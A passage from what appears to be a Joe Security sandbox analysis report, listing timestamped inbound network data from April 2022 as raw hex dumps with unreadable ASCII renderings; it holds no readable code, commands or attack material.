2022-04-25 17:44:44 UTC 65 IN Data Raw: 2a 3b 1c d8 60 25 ad fe 68 2f b9 2a b5 6f e1 1b bd 68 a5 51 3e cc fc e5 59 0f 26 cb c4 a6 e5 62 a6 50 d1 e8 69 7e e6 6e 7c 35 13 fa 59 2a e9 bf 46 2b 85 73 29 d4 87 30 08 12 32 f6 be 47 39 b0 6e 01 41 ab 17 49 df 41 99 80 b5 c2 fc 0e 7d 0a 72 51 6f fc 88 c9 23 07 12 a7 06 6d 9e f5 4f de e4 b7 2f 98 a0 4a 55 c3 9f f8 92 35 72 c2 70 29 9f 6c 20 bb 31 01 c8 a7 7e 25 37 47 d9 f4 aa e7 fc e9 be 6b 5c a1 55 48 f8 6d ab 57 96 52 c0 37 cb 4b ed 90 8c d0 da fc 39 19 5b ab 81 31 1b b5 f8 ed a4 a9 6b 93 d3 88 8a f6 7a a0 f3 c4 04 77 1f f6 f1 d6 ab 44 1e c3 e7 60 39 d6 af a8 58 d1 30 83 8a 0b 5b 53 87 06 47 e9 4e 47 f0 e2 1c 2e c8 4c ce 3c 70 f3 a5 4e 50 46 cc 3d 8e 8d 27 cc a3 20 84 b3 1c 9e f7 39 08 65 d7 eb 21 d1 5c 95 4f 76 42 33 de b2 5a c9 35 d9 ff 50 a6 98 b3 Data Ascii: *;`%h/*ohQ>Y&bPi~n|5Y*F+s)02G9nAIA}rQo#mO/JU5rp)l 1~%7Gk\UHmWR7K9[1kzwD`9X0[SGNG.L<pNPF=' 9e!\OvB3Z5P

2022-04-25 17:44:44 UTC 67 IN Data Raw: 39 20 0d a1 60 1e 69 5a 31 ec d2 a2 3e ab 76 e8 ec b1 1a 65 45 aa 3e 90 9c 89 f9 3f 32 46 c0 68 38 5d f5 4d 29 5d ba 4c eb fc 90 5d 03 c2 2c 93 c1 1c 4b 15 7f 98 53 cb ef 34 bb bc c9 f8 5c 18 cb 57 59 bb 12 65 46 88 31 8d 9d 90 40 d2 20 ec 35 84 73 f8 99 82 8c 98 7b 64 1f 0b 5d 55 f9 8f 38 9f 10 56 6c 82 c5 72 98 05 78 1a d6 aa 1d 92 4f 98 0f d6 d3 bc 30 75 6c e0 ea 6e d5 58 90 ae 30 d4 48 f9 ef a5 57 9f 19 f2 98 7e 7a 36 be 8a a7 9c f0 b0 8c da e2 52 30 c3 af 46 08 b3 46 a0 33 7d 6f 7b c7 6d f0 cb 9b 50 d9 72 07 3d cf d8 65 59 7b c3 9f 9f 4f de 4f 64 0e 77 8a 14 0d 3a 88 6c 81 af 43 b1 cf 1c c0 fa 79 a7 0c 55 7a 0c 16 48 c1 02 35 4a 21 7b a1 0b bf 43 35 e8 9f d5 03 40 6d 6e fe ec e5 3b 1c de a1 43 48 16 63 b1 50 99 16 b1 c5 3b 9f 91 68 a3 a0 b9 7a f3 ca Data Ascii: 9 `iZ1>veE>?2Fh8]M)]L],KS4\WYeF1@ 5s{d]U8VlrxO0ulnX0HW~z6R0FF3}o{mPr=eY{OOdw:lCyUzH5J!{C5@mn;CHcP;hz

2022-04-25 17:44:44 UTC 68 IN Data Raw: 27 3d 5e 84 cd 85 e7 f6 f0 79 7a 58 ca 68 ca f9 67 85 b4 b4 50 c6 52 3a 46 c8 b2 b2 f3 c8 d4 3b 1e 62 90 a9 20 11 6b f2 93 90 83 10 98 bc 9b e5 d7 72 88 df 18 0b 58 26 ce 9e c3 a0 57 31 c3 44 63 39 da 1e 87 4b d5 12 e0 ab 1a 7d 2d b3 2c 56 e3 90 42 ba fa 33 2e c2 63 f0 1f 7e cc 89 65 50 e1 4b 2c 8a a4 de 4a a3 26 ea 81 01 8f e8 88 12 41 ff cc 09 5f 55 86 6e 31 43 31 de b2 97 d4 35 c0 c6 20 8f 89 b5 27 9a b5 8f a4 2b 21 a1 e7 66 e1 6c 80 97 7b f6 bf e8 f1 e8 e6 01 39 e5 01 dd 13 47 85 e9 7a d4 e4 1e a9 49 30 b0 31 3b 07 6a bd 9f 5a b7 32 31 51 ea cd 08 e5 a0 09 fc 55 3b e5 5b b2 e3 d7 42 7e c3 b3 c2 8c fb c9 e2 1a b5 12 28 e7 3f cd 5f 12 56 ca 4b 4b f1 ba 98 a2 b4 1e ca 59 f8 27 61 b2 42 8a 73 41 09 49 af 25 55 10 8d c1 2e 4e 81 20 1d a0 b0 4a d8 7c f7 06 Data Ascii: '=^yzXhgPR:F;b krX&W1Dc9K}-,VB3.c~ePK,J&A_Un1C15 '+!fl{9GzI01;jZ21QU;[B~(?_VKKY'aBsAI%U.N J|

2022-04-25 17:44:44 UTC 69 IN Data Raw: fe e8 6e d1 37 88 ac f4 d9 60 a9 e1 a5 51 8c 01 8c aa 7f 7a 3c ad 8c 62 8a f7 df 50 db e2 54 c6 1e bc 56 14 ba 7e 67 2e 7d 6f 6b c0 7c f9 e3 08 54 d9 74 66 e9 ce d8 9d 4d 71 d2 97 8e 46 f6 36 67 0e 70 e5 c0 0c 3a 83 77 8a be 4b a5 31 1d ca f4 07 95 03 55 70 1a 23 78 c1 03 3f 5c df 7a eb 2f 9a 52 3e c4 be fd 0d 49 6d 64 e0 eb f4 32 29 bb a2 42 4e 79 b7 b0 17 97 79 e3 cb 3b 95 80 38 83 f1 b8 75 f5 d9 6a 7e b3 52 b8 92 d3 01 63 7d 26 08 7f 9c d5 28 91 da ee c5 c8 c3 4a dd df b6 03 23 6c 18 4f 51 b7 3a f0 59 1d 6c 41 9f 17 d9 2a 50 0f 14 02 7b 4b 92 a4 cf 50 c2 52 28 20 a1 34 2d 24 90 bb a5 c5 82 c9 df 5c a6 7f 63 a2 3f 00 ad 4c 03 09 bb a5 73 6b 27 ec 11 58 8a db bb 00 3f a2 5d 44 e0 e6 4a 9c fb 1e 25 fc 77 f3 b4 e4 66 0e 86 3a 8b 55 c0 e4 53 7d 83 2d e9 df Data Ascii: n7`Qz<bPTV~g.}ok|TtfMqF6gp:wK1Up#x?\z/R>Imd2)BNyy;8uj~Rc}&(J#lOQ:YlA*P{KPR( 4-$\c?Lsk'X?]DJ%wf:US}-

2022-04-25 17:44:44 UTC 71 IN Data Raw: 6d 33 d4 90 7e c8 24 db c4 3d 79 97 90 0f bd da bf ac 38 25 ac e4 63 c7 77 72 bc 60 83 2f 3e e2 e5 86 8a 28 f6 3e 32 f1 c6 6b f9 6b c9 21 13 b1 44 ad f0 23 b5 b1 43 f3 45 a7 48 3e 37 34 fb c9 11 75 f1 09 fc 54 b3 cd 74 19 e3 cf 73 2b d2 a7 ad 99 d7 c8 2f c6 3b 1e 35 e1 50 e3 4e 22 5a d9 f3 5a d7 ab 0c 8a a5 0f dc 40 93 2f ec b2 48 af 5e 55 2b 45 7d 0f 73 6e 02 c8 1f 55 ee b4 19 a0 a0 5d da 93 f9 38 fe 4d 10 de b0 b8 7e e8 0e 08 ed f0 9b 8a be 5c f8 6c e5 48 73 91 c7 8f db 4c 6d ad 18 2a 03 4b a3 3a 18 23 50 e4 b1 63 85 c2 fd 5d 26 f3 9a 9d 8e e2 c7 95 b0 6c e4 1f bf 4f f1 54 be 9d 07 f8 77 25 ef 48 69 09 e7 af a1 ba e6 0f d2 f0 a1 8f cf 90 3e 63 ad 6f c0 89 2b 71 e1 9e 33 26 82 2a 78 f5 6e 18 27 1c a5 78 e0 68 76 01 fc c1 a6 31 ba 72 f6 0f b0 36 66 6e af Data Ascii: m3~$=y8%cwr`/>(>2kk!D#CEH>74uTts+/;5PN"ZZ@/H^U+E}snU]8M~\lHsLm*K:#Pc]&lOTw%Hi>co+q3&*xn'xhv1r6fn

2022-04-25 17:44:44 UTC 72 IN Data Raw: c8 b1 cd 11 9e 8d 3d ab a0 b9 73 f3 d6 4e 6f b7 67 59 92 d2 0b 4e 0e 37 1f 1b 7d db 35 9b f7 d5 cf fe ec 7c f2 e4 b7 03 89 7f 14 4f 2e b3 32 9f 12 16 6a 39 db 1a c8 25 17 d9 14 02 7b 72 c5 b6 c9 39 d5 bf 29 26 b6 57 24 bf 93 b1 7d a4 e4 e0 f2 5a a0 64 63 e5 d9 01 ad 4c f5 f3 bc db 20 79 21 36 36 96 a3 f6 bd 28 6e b2 50 6a e6 0b 4b 96 23 71 15 f7 60 2f 79 e3 52 2f ba 2a b5 6f 32 33 82 6c 8d 30 e1 cc fc a0 79 11 26 c1 1a a9 c6 4a 97 72 d1 ec 67 5e ce 41 7c 35 29 24 45 77 ed 99 3f 2a 85 74 5d c5 86 30 5e cc 3d d3 3a 6a 39 a1 17 07 62 83 33 43 d9 35 11 81 a4 c2 fc 64 7d 0a 72 16 13 fd 88 c5 d5 e4 36 8f 2d 02 bf fd 5c f6 12 97 0a b0 87 94 55 d8 97 f8 d6 34 72 ce c1 08 9b 12 7c 64 3e 20 c8 61 7f 25 3b 7c a7 df 84 e1 d4 0e 61 6b 4b ca 5c c9 f9 67 73 36 92 78 ed Data Ascii: =sNogYN7}5|O.2j9%{r9)&W$}ZdcL y!66(nPjK#q`/yR/*o23l0y&Jrg^A|5)$Ew?*t]0^=:j9b3C5d}r6-\U4r|d> a%;|akK\gs6x

TimestampkBytestransferred

Direction Data

Copyright Joe Security LLC 2022 Page 33 of 50

2022-04-25 17:44:44 UTC 73 IN Data Raw: cb 26 67 90 a4 1d a6 99 f7 c6 6d f2 3c 5e 45 07 02 94 ea 6d ec 04 76 d3 e9 65 81 fd a1 fe 64 ed 57 8d 86 cd 8c 5f 94 de 3c 79 bc 0c 5d 8f 82 0a 27 4f 69 a3 4d 8e de f7 c2 94 cc ee 90 82 f2 fc 28 b3 7d e6 20 ef 4e dd 5d 8e 29 03 f8 6c 09 ba b6 68 2f 8d be 0a a1 ff 64 3e e1 a5 9d 26 fe 06 71 af eb 18 70 f1 66 3d 00 18 2e 93 2e 5a 42 7d 1c 2d 25 15 6d 1e 6f 72 ac eb d2 a8 19 0c 76 e8 fb ba 1d 4c 7e aa 3e 9a e7 58 f9 3f 3c 41 b3 bf 69 5a f3 5e 28 83 ae 69 de d1 90 5c 09 d1 23 95 93 33 65 15 71 92 8e 71 82 33 bb ad c8 d0 e9 1b d6 51 36 6b 13 65 40 a5 4f 8c b7 86 5f dc 4f 3e be 83 75 ef 4c 91 9b 8b 76 5c 93 0a 5d 55 e8 81 b0 88 07 39 b1 83 c5 74 2c 13 69 14 c8 ba 07 fd 81 99 0f d1 c0 af 21 7b cb f7 f3 01 08 59 90 a8 e7 c1 59 e8 c8 44 57 9f 0e df d0 6e 69 1e 5f Data Ascii: &gm<^EmvedW_<y]'OiM(} N])lh/d>&qpf=..ZB}-%morvL~>X?<AiZ^(i\#3eqq3Q6ke@O_O>uLv\]U9t,i!{YYDWni_

2022-04-25 17:44:44 UTC 74 IN Data Raw: 06 97 2c da 44 3d 1b a6 b2 83 1f 17 e1 fa 8a 72 01 0e ef 1a a9 ca 94 8b 56 af b3 7b 5e ca 68 97 34 19 22 71 68 ee 97 24 02 68 74 46 f3 ea 11 00 cc 37 0d 98 4f 11 9d 64 12 6a 8e 11 67 df 4b 4d 5e a4 c0 fe 8e 60 0a 74 3e 4e f8 88 df df 08 39 92 2b 6d 9f ff 5c cc cc 85 63 98 a4 89 55 d2 9a cb c8 3d 72 20 1d 08 9d db 2a 65 2f 57 f5 88 7e 2f 37 2a c8 dc 84 ed f0 9d 52 6b 4d af 6e ce 87 39 ac 38 b3 78 2b 3c 15 42 c5 b1 89 17 d9 f6 2c 15 dd 85 81 3b 39 cc f8 fc aa 92 14 83 d7 a6 de d7 78 aa d4 1d 0d 59 ea 79 f3 d6 a1 46 3f c3 86 60 39 d6 62 a0 58 dd 30 3b 88 0b 5b 14 eb 06 47 e9 b8 06 d7 ca 3b 41 87 44 dd 10 4b db ac 66 fd 98 cc 26 a2 4f ae cd a5 35 ec 83 19 b3 fa e1 0c 9d 96 c4 21 d1 40 97 6e 49 b6 20 cc ab 8f f1 1d df d7 35 b6 90 9d ee 93 da b9 8e e3 28 84 cc Data Ascii: ,D=rV{^h4"qh$htF7OdjgKM^`t>N9+m\cU=r *e/W~/7*RkMn98x+<B,;9xYyF?`9bX0;[G;ADKf&O5!@nI 5(

2022-04-25 17:44:44 UTC 76 IN Data Raw: ec bd 9f 30 ab 70 f9 fb a0 1e 0b 7a ab 3e 96 cf 84 d1 e8 3f 46 c6 07 2b 5b f5 4b 20 4c b0 23 3e fd 90 56 12 cc 43 39 9e 1b 41 2f de 66 ac 34 5c 25 aa b2 b3 c1 5c 18 d7 7b 55 ab 1c 10 7f 88 4d 8b f2 cd 4e d2 2a 30 61 96 56 d0 bb 82 8c 92 75 69 6c 1f 5f 55 f3 84 89 b6 10 56 68 5c c7 74 15 05 52 1a d9 eb 29 92 52 9a 0f d7 d3 cc 30 75 da 86 eb 6e db 89 91 ae f4 c5 48 f9 e0 a5 57 9f 04 f2 98 7f 7a 30 be 8a 74 78 f1 b0 82 33 e3 52 d1 d1 af 46 07 ae 46 a0 2f 66 5f 7e c7 5a f1 cb 6b ee d9 72 18 4e da da 9b 54 71 eb 31 9e 4f d8 41 6d 18 65 82 2c f1 3a 85 64 90 a6 5c b9 55 10 d3 da 42 a7 03 5f 43 e9 0b 48 c1 70 6f 48 21 71 86 0a b7 2c 60 ea 9f df 32 27 31 6c f1 e6 f6 3f 10 da b6 2d 15 14 63 bb 78 cd 14 b1 c1 2d f0 cc 3f ab aa d6 2b f1 ca 66 7c b3 42 d4 92 d3 0b 5f Data Ascii: 0pz>?F+[K L#>VC9A/f4\%\{UMN*0aVuil_UVh\tR)R0unHWz0tx3RFF/f_~ZkrNTq1OAme,:d\UB_CHpoH!q,`2'1l?-cx-?+f|B_

2022-04-25 17:44:44 UTC 77 IN Data Raw: 60 6d 66 96 6c ce d1 81 ae 38 b1 3f 01 3d 15 4e e4 9d b0 d6 cb f3 02 d1 70 85 87 24 07 43 cb fd a0 8b 07 08 fb 65 e6 d7 7e b5 ef 32 38 53 37 d1 e7 4c ce 68 3a eb cf 71 3f f4 9c ab 49 d3 77 b0 8a 0b 5b 3a b7 02 28 2b 91 48 df db 3b 41 62 46 dd 10 62 1b 5b b1 a5 46 da 3d 80 d0 96 cd a3 27 c7 9e 0f 94 88 de 07 40 fe a9 7c d1 56 8c b4 4f 64 24 08 ab 8c d8 2c cc de bb 10 a7 c0 d9 6f 25 61 b3 0e 03 a9 ca 63 cd 6e ab cf 64 8d 38 e2 fa c1 b9 86 39 ef de cc 09 13 93 c2 7a 9f c3 00 a0 57 bc e1 31 6d 06 7c 95 f4 59 b7 38 b8 35 fb c9 06 69 f1 09 fc 54 2d cd 7f b0 e3 dd 68 2b d2 a6 65 98 fa c9 26 33 3a 11 3d e1 50 e2 40 12 5c d8 76 6a d2 ab e5 8b a5 1e 76 53 97 06 10 a7 4a af 54 4e 07 b6 80 0e 59 65 74 85 2e 4f fa af 72 95 b3 59 cc 60 f1 7b cf 47 07 02 af a9 7b ff 05 Data Ascii: `mfl8?=Np$Ce~28S7Lh:q?Iw[:(+H;AbFb[F='@|VOd$,o%acnd89zW1m|Y85iT-h+e&3:=P@\vjvSJTNYet.OrY`{G{

2022-04-25 17:44:44 UTC 78 IN Data Raw: 71 7b e0 a5 57 ec 3f f3 98 79 69 30 af 8c 5c 67 f3 b0 84 b5 a1 53 d1 c2 be 40 16 b6 6e 5d 2d 7d 69 15 f0 6f f0 c1 43 f0 d9 72 03 52 f2 d9 9b 58 6a c5 81 9a 67 27 50 64 08 19 bd 16 0d 30 94 61 a9 59 4f b1 c9 73 ec f0 79 ad 2b fb 7a 0c 01 60 66 03 35 40 4e 3a 8a 03 b9 52 3e c0 e3 d7 3b 4e 02 59 f3 ec ef 13 a6 de a1 48 60 65 63 b1 11 82 11 a0 cd 2a 98 b9 ab aa a0 bf 1a cc cb 6c 69 bf 6b 5f fd 1b 0a 4e 34 e9 0c 72 55 f8 28 9b fd c7 dc e6 c1 7c ae ee 69 03 34 76 03 88 4e af 21 96 09 16 e2 f0 b1 2e 37 de c0 34 3f 02 7c 4a 9e b5 c9 3f c8 53 8c ff b0 37 18 bd 93 ba b0 9a c5 c8 b2 59 a0 6e d0 cd f7 10 bb 55 39 cb e4 a6 75 78 21 23 0c 62 a9 08 ba 2c 3e a0 5e 7d c3 7c 59 91 3a 12 27 e7 60 34 b5 f2 6d f9 96 06 be 4d 3f 1f ac 6a 9e 3f 20 d7 e9 98 78 1c 34 de 3e 57 c1 Data Ascii: q{W?yi0\gS@n]-}ioCrRXjg'Pd0aYOsy+z`f5@N:R>;NYH`ec*lik_N4rU(|i4vN!.74?|J?S7YnU9ux!#b,>^}|Y:'`4mM?j? x4>W

2022-04-25 17:44:44 UTC 79 IN Data Raw: 35 a7 92 98 20 84 d7 62 33 29 2b 84 e2 65 c3 7d aa af 76 88 10 ab f3 e9 9d 95 31 f3 11 c6 81 8e 83 32 69 cd e4 09 98 01 be e1 31 2a 0e 6d 9c 21 49 b0 57 dc 34 fb c3 29 54 f3 09 fc 45 25 dc 76 2a f2 da 01 2c d3 a6 a7 8e 20 a6 e1 33 3a 1b 3f f0 58 f3 54 88 33 de 6c 5a dd ba 8a e5 a2 1f ca 59 80 c1 7a 64 92 c0 56 45 2f 52 90 04 49 78 00 ae 29 4e f0 ad 0a 7a a2 4d d5 60 d3 26 e8 41 2f dc bf a5 6b fd 04 08 e4 f3 0a 83 93 4d f4 4c c4 40 e2 98 e7 a3 55 fb 3a 14 2f b4 1f 52 8f 6d 0b 27 43 32 93 4f 8e de ec d7 80 e9 58 46 91 f5 c5 9c a1 69 d1 c0 69 b4 dc 57 a0 9d 09 e9 62 36 78 ec 68 25 e3 97 1d b0 e0 1d c4 7c b4 82 5e a9 13 73 a5 f2 7b 88 e0 6a b9 a4 0b fc 91 3d 61 e2 56 62 30 1e ae 7f 12 78 54 13 e7 c3 ac ab ba 79 c0 a7 b3 1a 6e 6d fd 3c 90 d4 a6 03 3e 3c 40 af Data Ascii: 5 b3)+e}v12i1*m!IW4)TE%v*, 3:?XT3lZYzdVE/RIx)NzM`&A/kML@U:/Rm'C2OXFiiWb6xh%|^s{j=aVb0xTynm<><@

2022-04-25 17:44:44 UTC 81 IN Data Raw: b8 75 f5 cc 7d 61 d6 b2 58 92 d9 1a 5b 29 e1 10 42 6c c0 39 8d 79 63 eb 2e 12 83 51 3a a2 26 0d 52 14 5e 57 b5 24 ec 0d 1e 6c 4d 85 33 e6 21 3f 38 cb 00 7b 70 99 9f c9 7e e1 53 28 26 b0 38 05 bb 93 bb a3 ce c3 c8 df 30 a2 6e 6f d8 f7 01 ad 5b 2b f3 bb be 45 7c 21 34 1f 7d a2 35 bb 00 24 c2 45 6e ce ec 40 be 62 1d 34 f3 48 0b a6 ed 7d 2f 98 2e b5 63 17 38 ac 6c 87 29 3b dd fe a2 43 0d 26 cb 37 a2 b3 5f 89 50 db e9 a7 8a ce 40 7c 1d 5e 27 59 3d c5 b9 23 2a 8f 5d 49 f1 85 36 2a ef 3d d3 9c 42 76 b0 64 18 6d 8a 11 59 db 4b 41 a8 e9 c4 d4 85 54 44 76 3e 44 91 c7 c1 fd 02 3b 99 23 7a 44 ec 57 ef c4 b2 57 91 82 85 51 d2 9d f8 ea 30 72 c2 0e 00 b5 17 2a 65 38 37 e5 83 56 36 39 54 fc f4 90 e3 fc e5 71 63 65 de 7d cb ff 7e ab 31 9f 45 c4 3d 13 6c de bc a1 d6 cb fe Data Ascii: u}aX[)Bl9yc.Q:&R^W$lM3!?8{p~S(&80no[+E|!4}5$En@b4H}/.c8l);C&7_P@|^'Y=#*]I6*=BvdmYKATDv>D;#zDWWQ0r*e87V69Tqce}~1E=l

2022-04-25 17:44:44 UTC 81 IN Data Raw: 5b a0 2e 7c 74 4a c3 6d 9f c9 6b 57 1c 72 09 2c bc cd 99 5e 71 c9 b8 65 4e de 54 68 7d 80 8b 14 0b 31 ad 7b 85 af 4b 99 ed 1c db f8 51 87 07 55 7c 24 28 48 c1 09 1d 71 21 7b 81 2f a3 44 13 f7 9b d5 3d 60 4f 6e f1 e6 cd 1b 05 de a7 6a 6b 16 63 bb 78 66 17 b1 cd 10 99 e2 28 a9 a0 b3 5f f4 a5 51 6d b9 70 36 ac d1 0b 44 2d 3e 3b b5 7c d5 28 89 fe fc eb cc ef 76 bd e0 c4 38 24 7f 12 4d 58 a1 21 9b 77 5c 6e 47 84 74 c6 23 3f 38 7a 0d 7f 5a 94 a6 c3 07 9f 52 28 26 a2 32 2d ad 91 bb a9 b9 c7 d9 d9 72 81 6a 6f cb e1 29 9d 46 2b f9 ac 96 5f 69 24 35 0f 79 cd b6 b9 00 3f a0 56 03 03 e7 4a 9c 0d 35 36 f5 66 0d 5d ec 77 01 f8 60 b5 65 35 74 ed 6d 8d 3c 07 df fb 8a 78 1c 20 e9 38 ad c0 4c 9d 78 e1 e2 7a 54 d8 73 42 32 08 20 36 7b ef 97 28 3b 83 1a 8b f4 85 3a 3b 23 3d Data Ascii: [.|tJmkWr,^qeNTh}1{KQU|$(Hq!{/D=`Onjkcxf(_Qmp6D->;|(v8$MX!w\nGt#?8zZR(&2-rjo)F+_i$5y?VJ56f]w`e5tm<x 8LxzTsB2 6{(;:;#=

2022-04-25 17:44:44 UTC 83 IN Data Raw: 9a a1 32 38 94 ee 6b d8 df 35 a4 55 ba 8e f0 3b 06 76 b9 9e 49 b0 29 1b 1c ce cd 10 6f e4 1f d4 67 2c cd 75 a7 79 f5 58 2f d2 a0 b8 8f d2 fa e9 32 30 07 b2 8e 6f e3 5d 14 4d de 45 6d d3 ab 8b e5 e6 1f ca 55 86 10 0c 8e 49 af 58 2b 28 59 83 04 48 97 08 d0 29 20 ce a6 1d a6 de 5e c7 6d f2 03 07 47 58 24 b4 a2 7c eb 61 d1 e8 eb 6f 55 9d 68 d6 49 e7 40 e8 81 c7 a4 7b fb 30 36 a7 b6 0e 53 c8 90 09 27 43 20 68 b1 71 2b 21 c5 80 ef 35 a9 82 f8 d5 bd bc 6c eb 7d 78 4e dd 56 c9 d3 03 f8 6c fd e4 bf 7f f3 f1 8d 19 a8 e4 01 5c 56 9a 12 cf 6e ed 74 85 e1 77 df c5 66 37 13 1c 26 82 56 72 ec 7d e3 27 0d a1 12 1f 69 5a 0d eb d2 a2 2c ab 76 e9 f3 b1 1a 64 19 aa 3e 90 e3 8f f9 3f a5 47 c0 68 7e 5a f5 4d 26 5d ba 4c ed cc 94 5c 42 c3 2c 93 59 1b 4b 04 02 8d 51 cb 88 38 93 Data Ascii: 28k5U;vI)og,uyX/20o]MEmUIX+(YH) ^mGX$|aoUhI@{06S'C hq+!5l}xNVl\Vntwf7&Vr}'iZ,vd>?Gh~ZM&]L\B,YKQ8

TimestampkBytestransferred

Direction Data

Copyright Joe Security LLC 2022 Page 34 of 50

2022-04-25 17:44:44 UTC 84 IN Data Raw: f2 a4 05 1d b5 14 5e 5d a6 21 99 01 e2 6d 6b 88 19 db 25 25 21 13 02 6c 5c 80 4b c8 13 e0 54 20 0e d4 3a 05 b7 8b da 8b fc c3 c8 d5 72 f7 6c 6f c7 df 22 ad 46 21 f8 a5 ac 66 7e 21 23 18 62 a8 08 ba 2c 3c b8 41 69 fc ea 55 9d 36 18 34 e4 66 38 59 ec 5b 0b 86 2e bc 0a ce 1a ac 66 81 24 2c ca fa 9b 7e 1a d8 c0 36 aa d8 59 8d 50 c0 e4 65 57 30 41 50 3d 10 33 8f 36 f2 9d 31 2c 85 64 40 ed 7b 31 2e c5 15 29 97 6a 3f bb 7d 01 66 83 28 4f c3 b5 46 ac a1 ed 78 92 6f 0c 74 2f 48 e4 76 c2 d1 0d 21 82 30 7e 98 ff 4d fa d7 67 2e b4 a6 85 51 bd 9c d1 f8 3e 61 c1 03 1b 9b 6c 3b 63 28 da e1 a6 7d 32 2e 52 fa cd 82 f8 f7 1d 61 47 4f 8e 78 f3 c8 92 52 c7 9f 66 c1 3d 1f 6c fe b9 a1 da dd de c4 3c 73 8f ee f8 10 6b f2 d4 4e 80 10 98 bc 47 e4 d7 72 8a f9 01 3b 56 37 46 f0 d6 Data Ascii: ^]!mk%%!l\KT :rlo"F!f~!#b,<AiU64f8Y[.f$,~6YPeW0AP=361,d@{1.)j?}f(OFxot/Hv!0~Mg.Q>al;c(}2.RaGOxRf=l<skNGr;V7F

2022-04-25 17:44:44 UTC 85 IN Data Raw: 55 fd 92 2d 63 a1 37 0b a3 3a 0f 85 58 00 a8 67 da d0 ff d5 33 f5 5a 89 aa ad d0 91 b6 df f1 12 52 47 f5 ad a7 8e 05 eb 61 30 fc a5 7d 33 f1 90 23 90 e4 1e c3 f5 3f 84 3c 80 17 62 a2 8e 40 9c f1 6c 1b 0a 0d 23 93 26 1d db 7f 1c 2d 79 ad 6e 1e 72 49 0e fa de 8a 83 aa 76 ee e2 b6 0b 70 52 7c 2d 84 cf 9a e8 2a b2 f1 f2 af 79 5f dd 1c 22 5d bc 23 c1 fe 90 56 2b d3 2c 93 94 08 43 04 79 f7 46 ca 82 39 6b a4 c6 f8 5d 30 c2 57 59 b0 21 76 57 82 5c 82 b5 37 4e d2 2a 83 82 82 73 fe ae 38 8c 98 66 75 19 1e 75 b4 fb 8f a7 8f 9d 51 62 82 c4 61 29 13 6e 0c c8 a2 35 83 52 98 05 75 c2 aa 23 62 cb f0 fe 7a cc d5 c2 ae f4 d2 5b e1 f1 bd 41 88 98 e3 80 57 e2 36 be 80 65 83 e6 20 ae d1 f3 45 c7 5e 87 57 07 b3 4c b3 26 09 63 7a c7 76 e3 c0 7a 5d c8 74 18 36 a0 11 9a 5e 71 ac Data Ascii: U-c7:Xg3ZRGa0}3#?<b@l#&-ynrIvpR|-*y_"]#V+,CyF9k]0WY!vW\7N*s8fuuQba)n5Ru#bz[AW6e E^WL&czvz]t6^q

2022-04-25 17:44:44 UTC 87 IN Data Raw: ed 97 28 fc 9b af 6e db 87 30 08 b2 2c d2 96 60 2a ab 75 0b 0f 96 38 49 d5 63 cb 83 a4 c0 bb a0 7e 0a 7e 2d 6a ec ab d2 d9 19 2e a7 3a 6d 9e f5 33 cc ce 99 25 f7 bf 94 55 d8 b3 f6 fa 34 78 d5 06 67 88 6d 2a 6f 16 a9 e3 8a 78 4a 12 56 fa d6 97 c5 ed c1 71 72 65 b4 7d cb f3 02 9d 3a b7 5a e5 10 10 62 d9 89 8a da a3 71 2a 3d 72 f4 06 31 11 6a eb dd b1 98 7f 87 d2 8e ef ff f6 a3 f9 1c 64 7d 35 db fb c5 be 46 24 fa d0 48 28 dc 71 a2 26 e5 1a f3 81 2e 70 39 80 15 76 c8 9a 31 52 ca 31 2f b9 c1 dd 1a 59 ce bb 30 4b 99 cc 26 99 85 be cb bf aa ba 92 1e 9f eb cf 23 42 ff cc 0d b4 47 81 70 d2 3d 33 de b9 92 e1 00 df d7 3f 8b cd a4 3e ff cf be a6 21 03 0b c9 63 c1 12 83 be 71 85 2b cd e0 cc 86 9f 11 f4 00 ce 05 56 a4 ea 7a d4 d2 2d a5 73 ad d0 1a 31 7f fb 95 bb 59 c6 Data Ascii: (n0,`*u8Ic~~-j.:m3%U4xgm*oxJVqre}:Zbq*=r1jd}5F$H(q&.p9v1R1/Y0K&#BGp=3?>!cq+Vz-s1Y

2022-04-25 17:44:44 UTC 88 IN Data Raw: 04 c2 9c 1b 4d 03 fc 9f 53 cb 83 27 af a8 ee 60 5c 18 dc 7f ba ba 12 6f ca d9 4d 8a 9c 83 5c c3 32 fb 33 d2 73 f8 97 aa 74 98 66 6e 37 e9 5d 55 f3 98 77 15 3f 56 62 83 d6 7c 29 11 75 0c ca b9 35 68 53 98 09 c4 dc aa 23 61 a9 dc eb 6e dd 4b 80 bf e5 c7 60 91 e4 a5 51 86 89 f5 98 7f 7b 25 9c 9b 56 8d e1 be aa cb e2 52 db 66 be 64 10 a5 ca f1 2e 7d 6e d8 d6 4f e8 da 79 7f c8 72 09 37 6d c9 b9 4d 58 d2 b3 8b 5b c7 df 36 0e 76 8b 07 29 2b a1 72 96 33 5c 95 d8 0a 47 e3 5d bf 14 c9 6b 28 1c 60 5d 03 35 40 07 6a af 15 2f 6f 30 f9 bc c3 a1 60 7c 6e f1 e6 f6 35 10 fa b9 d2 64 1d 72 92 0f 0b 3e a0 cb 3b 95 82 2f ba b1 ad 5d 6b c8 6c 69 af f7 5e 92 d3 0a 5a 2a 23 14 7f e1 d5 28 91 d1 c5 c5 da c7 15 aa e4 b1 15 a8 78 14 5e 5c b2 24 8b 0f 34 f0 47 8e 11 ee 30 31 25 98 Data Ascii: MS'`\oM\23stfn7]Uw?Vb|)u5hS#anK`Q{%VRfd.}nOyr7mMX[6v)+r3\G]k(`]5@j/o0`|n5dr>;/]kli^Z*#(x^\$4G01%

2022-04-25 17:44:44 UTC 89 IN Data Raw: 8e ef fb 62 b1 e5 75 35 53 37 dd e0 c6 ce 69 3a eb cf 0f f3 dc 71 a2 65 d0 0f e0 92 d5 44 2e 8e 2c 1b e3 90 42 f8 75 ef 20 da 6e 23 0c 52 dd a5 55 35 c5 cc 2c 80 79 be d4 8e 31 fa 82 36 f0 f9 e7 01 2f bc c7 21 d7 50 97 78 31 a4 32 de b2 92 da 3d c9 c4 25 d4 a3 b4 27 96 c9 af b0 38 38 92 d9 6e d6 67 bf aa 5a 88 10 12 f0 e9 91 95 36 f4 16 d9 d9 2a 82 f9 6c cf d2 3e 17 ae 43 1e 20 1b 11 aa 86 9b 49 97 29 3c ba 4c f6 53 93 0e f6 22 41 08 e5 52 b0 e3 d7 7d 36 a1 b3 af 99 f0 c2 c0 1c 3a 11 22 3f 52 e4 77 15 76 d9 6d 1b e3 ab 8d 88 a5 1e ca b7 91 17 63 ff 48 af 5e 75 28 58 83 00 5f 69 0a c1 2e 4f f0 a7 1d a0 b1 5f c6 6d f8 87 fe 45 07 91 bb a5 6d f9 0e 19 e9 